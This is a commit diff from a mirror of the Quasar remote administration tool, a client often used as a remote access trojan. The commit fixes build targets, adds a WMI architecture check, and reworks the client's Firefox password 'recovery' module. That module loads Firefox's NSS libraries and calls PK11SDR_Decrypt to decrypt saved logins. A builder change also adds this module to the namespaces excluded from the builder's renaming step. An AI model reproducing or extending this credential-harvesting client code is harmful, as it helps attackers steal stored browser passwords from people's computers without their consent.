mirror of https://github.com/quasar/Quasar.git
#339 Fixes
This commit is contained in:
parent
15ebe6963f
commit
4755ff3096
|
@ -15,7 +15,7 @@
|
|||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
|
@ -26,7 +26,7 @@
|
|||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Bin\Release\</OutputPath>
|
||||
|
|
|
@ -35,6 +35,54 @@ namespace xClient.Core.Helper
|
|||
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
||||
}
|
||||
|
||||
//Credits: http://1code.codeplex.com/SourceControl/changeset/view/39074#842775
|
||||
public static int Is64BitOperatingSystem(string machineName,
|
||||
string domain, string userName, string password)
|
||||
{
|
||||
ConnectionOptions options = null;
|
||||
if (!string.IsNullOrEmpty(userName))
|
||||
{
|
||||
// Build a ConnectionOptions object for the remote connection
|
||||
// if you plan to connect to the remote with a different user
|
||||
// name and password than the one you are currently using.
|
||||
options = new ConnectionOptions();
|
||||
options.Username = userName;
|
||||
options.Password = password;
|
||||
options.Authority = "NTLMDOMAIN:" + domain;
|
||||
}
|
||||
// Else the connection will use the currently logged-on user
|
||||
|
||||
// Make a connection to the target computer.
|
||||
ManagementScope scope = new ManagementScope("\\\\" +
|
||||
(string.IsNullOrEmpty(machineName) ? "." : machineName) +
|
||||
"\\root\\cimv2", options);
|
||||
scope.Connect();
|
||||
|
||||
// Query Win32_Processor.AddressWidth which dicates the current
|
||||
// operating mode of the processor (on a 32-bit OS, it would be
|
||||
// "32"; on a 64-bit OS, it would be "64").
|
||||
// Note: Win32_Processor.DataWidth indicates the capability of
|
||||
// the processor. On a 64-bit processor, it is "64".
|
||||
// Note: Win32_OperatingSystem.OSArchitecture tells the bitness
|
||||
// of OS too. On a 32-bit OS, it would be "32-bit". However, it
|
||||
// is only available on Windows Vista and newer OS.
|
||||
ObjectQuery query = new ObjectQuery(
|
||||
"SELECT AddressWidth FROM Win32_Processor");
|
||||
|
||||
// Perform the query and get the result.
|
||||
ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);
|
||||
ManagementObjectCollection queryCollection = searcher.Get();
|
||||
foreach (ManagementObject queryObj in queryCollection)
|
||||
{
|
||||
if (queryObj["AddressWidth"].ToString() == "64")
|
||||
{
|
||||
return 64;
|
||||
}
|
||||
}
|
||||
return 32;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the operating system running on this computer (including the edition).
|
||||
/// </summary>
|
||||
|
@ -43,7 +91,7 @@ namespace xClient.Core.Helper
|
|||
/// <summary>
|
||||
/// Determines if the current application is 32 or 64-bit.
|
||||
/// </summary>
|
||||
public static int Architecture { get { return IntPtr.Size * 8; } }
|
||||
public static int Architecture { get {return Is64BitOperatingSystem(".", null, null, null); } }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a indicating whether the application is running in Mono runtime.
|
||||
|
|
|
@ -8,6 +8,7 @@ using Microsoft.Win32;
|
|||
using xClient.Core.Data;
|
||||
using xClient.Core.Recovery.Utilities;
|
||||
using xClient.Core.Utilities;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace xClient.Core.Recovery.Browsers
|
||||
{
|
||||
|
@ -142,11 +143,20 @@ namespace xClient.Core.Recovery.Browsers
|
|||
#region Functions
|
||||
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
|
||||
{
|
||||
LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
|
||||
LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
|
||||
LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
|
||||
nssModule = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
|
||||
IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
|
||||
//Return if under firefox 35 (35+ supported)
|
||||
//Firefox changes their DLL heirarchy/code with different releases
|
||||
//So we need to avoid trying to load a DLL in the wrong order
|
||||
//To prevent pop up saying it could not load the DLL
|
||||
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
|
||||
return;
|
||||
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
|
||||
nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
|
||||
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
|
||||
NSS_Init(firefoxProfilePath.FullName);
|
||||
long keySlot = PK11_GetInternalKeySlot();
|
||||
|
@ -241,7 +251,7 @@ namespace xClient.Core.Recovery.Browsers
|
|||
if (String.IsNullOrEmpty(libPath))
|
||||
throw new ArgumentNullException("libPath");
|
||||
|
||||
IntPtr moduleHandle = LoadLibrary(libPath);
|
||||
IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
|
||||
if (moduleHandle == IntPtr.Zero)
|
||||
{
|
||||
var lasterror = Marshal.GetLastWin32Error();
|
||||
|
@ -253,12 +263,6 @@ namespace xClient.Core.Recovery.Browsers
|
|||
return moduleHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate long NSS_InitPtr(string configdir);
|
||||
|
||||
|
@ -346,25 +350,25 @@ namespace xClient.Core.Recovery.Browsers
|
|||
// Credit: http://www.codeforge.com/article/249225
|
||||
private static long PK11_GetInternalKeySlot()
|
||||
{
|
||||
IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
|
||||
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
|
||||
return ptr();
|
||||
}
|
||||
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
|
||||
{
|
||||
IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate");
|
||||
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
|
||||
return ptr(slot, loadCerts, wincx);
|
||||
}
|
||||
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
|
||||
{
|
||||
IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
|
||||
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
|
||||
return ptr(arenaOpt, outItemOpt, inStr, inLen);
|
||||
}
|
||||
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
|
||||
{
|
||||
IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
|
||||
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
|
||||
return ptr(ref data, ref result, cx);
|
||||
}
|
||||
|
|
|
@ -12,6 +12,13 @@ namespace xClient.Core.Utilities
|
|||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool DeleteFile(string name);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule,
|
||||
[MarshalAs(UnmanagedType.LPStr)]string procName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
|
|
|
@ -64,6 +64,7 @@ namespace xServer.Core.Build
|
|||
|| typeDef.Namespace.StartsWith("xClient.Core.ReverseProxy")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.MouseKeyHook")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.Recovery.Browsers")
|
||||
|| typeDef.HasInterfaces)
|
||||
return;
|
||||
|
||||
|
|
Loading…
Reference in New Issue